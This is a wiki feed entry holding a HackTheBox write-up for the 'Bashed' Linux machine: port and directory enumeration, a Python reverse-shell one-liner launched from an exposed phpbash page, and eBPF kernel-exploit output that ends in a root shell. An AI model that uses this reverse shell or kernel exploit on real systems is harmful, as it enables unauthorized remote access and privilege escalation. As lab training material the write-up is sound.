<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBashed</id>
	<title>Write-ups/HTB/Bashed - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://book.ghanim.no/index.php?action=history&amp;feed=atom&amp;title=Write-ups%2FHTB%2FBashed"/>
	<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Bashed&amp;action=history"/>
	<updated>2026-04-21T14:45:19Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Write-ups/HTB/Bashed&amp;diff=1183&amp;oldid=prev</id>
		<title>imported&gt;Aghanim at 21:25, 28 January 2022</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Write-ups/HTB/Bashed&amp;diff=1183&amp;oldid=prev"/>
		<updated>2022-01-28T21:25:20Z</updated>

		<summary type="html">&lt;p&gt;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;{{Infobox WriteUp&lt;br /&gt;
| name = Bashed&lt;br /&gt;
| platform = HackTheBox&lt;br /&gt;
| os = Linux&lt;br /&gt;
| difficulty = Easy&lt;br /&gt;
| techniques = phpbash, Kernel Exploit&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-image-122.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This Linux box was quiet interesting. In the webservers subdirectory there was a shell embedded in a PHP file. I used python to get a reverse shell on netcat, which gives me a better terminal. I abused a kernel exploit to get root shell.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Enumeration ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
I&amp;#039;ll start with a NMAP scan.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bashed]&lt;br /&gt;
└─# nmap -sC -sV -p- --min-rate 10000 10.10.10.68 -oN nmap.result&lt;br /&gt;
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-23 14:59 EST&lt;br /&gt;
Nmap scan report for 10.10.10.68&lt;br /&gt;
Host is up (0.030s latency).&lt;br /&gt;
Not shown: 65534 closed tcp ports (reset)&lt;br /&gt;
PORT   STATE SERVICE VERSION&lt;br /&gt;
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))&lt;br /&gt;
|_http-title: Arrexel&amp;#039;s Development Site&lt;br /&gt;
|_http-server-header: Apache/2.4.18 (Ubuntu)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Only &amp;#039;&amp;#039;&amp;#039;port 80&amp;#039;&amp;#039;&amp;#039; open on this machine. I&amp;#039;ll use gobuster to see if there are any interesting subdirectories.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/HTB/bashed]&lt;br /&gt;
└─# cat gobuster.result&lt;br /&gt;
===============================================================&lt;br /&gt;
Gobuster v3.1.0&lt;br /&gt;
by OJ Reeves (@TheColonial) &amp;amp; Christian Mehlmauer (@firefart)&lt;br /&gt;
===============================================================&lt;br /&gt;
[+] Url:                     http://10.10.10.68&lt;br /&gt;
[+] Method:                  GET&lt;br /&gt;
[+] Threads:                 10&lt;br /&gt;
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt&lt;br /&gt;
[+] Negative Status codes:   404&lt;br /&gt;
[+] User Agent:              gobuster/3.1.0&lt;br /&gt;
[+] Timeout:                 10s&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/23 15:10:13 Starting gobuster in directory enumeration mode&lt;br /&gt;
===============================================================&lt;br /&gt;
/.hta                 (Status: 403) [Size: 290]&lt;br /&gt;
/.htaccess            (Status: 403) [Size: 295]&lt;br /&gt;
/.htpasswd            (Status: 403) [Size: 295]&lt;br /&gt;
/css                  (Status: 301) [Size: 308] [--&amp;gt; http://10.10.10.68/css/]&lt;br /&gt;
/dev                  (Status: 301) [Size: 308] [--&amp;gt; http://10.10.10.68/dev/]&lt;br /&gt;
/fonts                (Status: 301) [Size: 310] [--&amp;gt; http://10.10.10.68/fonts/]&lt;br /&gt;
/images               (Status: 301) [Size: 311] [--&amp;gt; http://10.10.10.68/images/]&lt;br /&gt;
/index.html           (Status: 200) [Size: 7743]&lt;br /&gt;
/js                   (Status: 301) [Size: 307] [--&amp;gt; http://10.10.10.68/js/]&lt;br /&gt;
/php                  (Status: 301) [Size: 308] [--&amp;gt; http://10.10.10.68/php/]&lt;br /&gt;
/server-status        (Status: 403) [Size: 299]&lt;br /&gt;
/uploads              (Status: 301) [Size: 312] [--&amp;gt; http://10.10.10.68/uploads/]&lt;br /&gt;
===============================================================&lt;br /&gt;
2022/01/23 15:10:40 Finished&lt;br /&gt;
===============================================================&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
In the &amp;#039;&amp;#039;&amp;#039;/dev &amp;#039;&amp;#039;&amp;#039;there is an interesting PHP file called &amp;#039;&amp;#039;&amp;#039;phpbash.php&amp;#039;&amp;#039;&amp;#039;. Opening the file we get a shell in the browser.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123210604.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123210727.png|thumb|This is very interesting, but the shell is not very interactive, so I used python to get a reverse shell using netcat.]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &amp;#039;a=__import__;s=a(&amp;quot;socket&amp;quot;);o=a(&amp;quot;os&amp;quot;).dup2;p=a(&amp;quot;pty&amp;quot;).spawn;c=s.socket(s.AF_INET,s.SOCK_STREAM);c.connect((&amp;quot;10.10.10.68&amp;quot;,4444));f=c.fileno;o(f(),0);o(f(),1);o(f(),2);p(&amp;quot;/bin/sh&amp;quot;)&amp;#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:2022-01-Pasted-image-20220123212257.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Root ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
To get root on machine I used a kernel exploit present on this machine.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;gt;&lt;br /&gt;
It is possible to bypass the bpf verifier (verifier.c), load bpf code, and create a read/write primitive. The root cause of this vulnerability is improper arithmetic/sign-extention in the &amp;#039;check_alu_op()&amp;#039; function located within verifier.c. The improper arithmetic makes it possible for sign extension to occur in either of the following cases:&lt;br /&gt;
&lt;br /&gt;
BPF_ALU64|BPF_MOV|BPF_K (load 32-bit immediate, sign-extended to 64-bit)&lt;br /&gt;
BPF_ALU|BPF_MOV|BPF_K (load 32-bit immediate, zero-padded to 64-bit);&lt;br /&gt;
[https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
And exploiting this vulnerablity.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
www-data@bashed:/tmp$ ./45010&lt;br /&gt;
[.]&lt;br /&gt;
[.] t(-_-t) exploit for counterfeit grsec kernels such as KSPP and linux-hardened t(-_-t)&lt;br /&gt;
[.]&lt;br /&gt;
[.]   ** This vulnerability cannot be exploited at all on authentic grsecurity kernel **&lt;br /&gt;
[.]&lt;br /&gt;
[*] creating bpf map&lt;br /&gt;
[*] sneaking evil bpf past the verifier&lt;br /&gt;
[*] creating socketpair()&lt;br /&gt;
[*] attaching bpf backdoor to socket&lt;br /&gt;
[*] skbuff =&amp;gt; ffff88003a983c00&lt;br /&gt;
[*] Leaking sock struct from ffff88003b753400&lt;br /&gt;
[*] Sock-&amp;gt;sk_rcvtimeo at offset 472&lt;br /&gt;
[*] Cred structure at ffff88003a8dafc0&lt;br /&gt;
[*] UID from cred structure: 33, matches the current: 33&lt;br /&gt;
[*] hammering cred structure at ffff88003a8dafc0&lt;br /&gt;
[*] credentials patched, launching shell...&lt;br /&gt;
# id&lt;br /&gt;
uid=0(root) gid=0(root) groups=0(root),33(www-data)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== What I&amp;#039;ve learned ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* There might be a shell running on the webserver. Havent encoutered that before, so that was interesting. * Always stabilize the shell you get so not to loose connection.&lt;br /&gt;
&lt;br /&gt;
[[Category:HackTheBox]]&lt;br /&gt;
[[Category:Linux]]&lt;br /&gt;
[[Category:Write-ups]]&lt;/div&gt;</summary>
		<author><name>imported&gt;Aghanim</name></author>
	</entry>
</feed>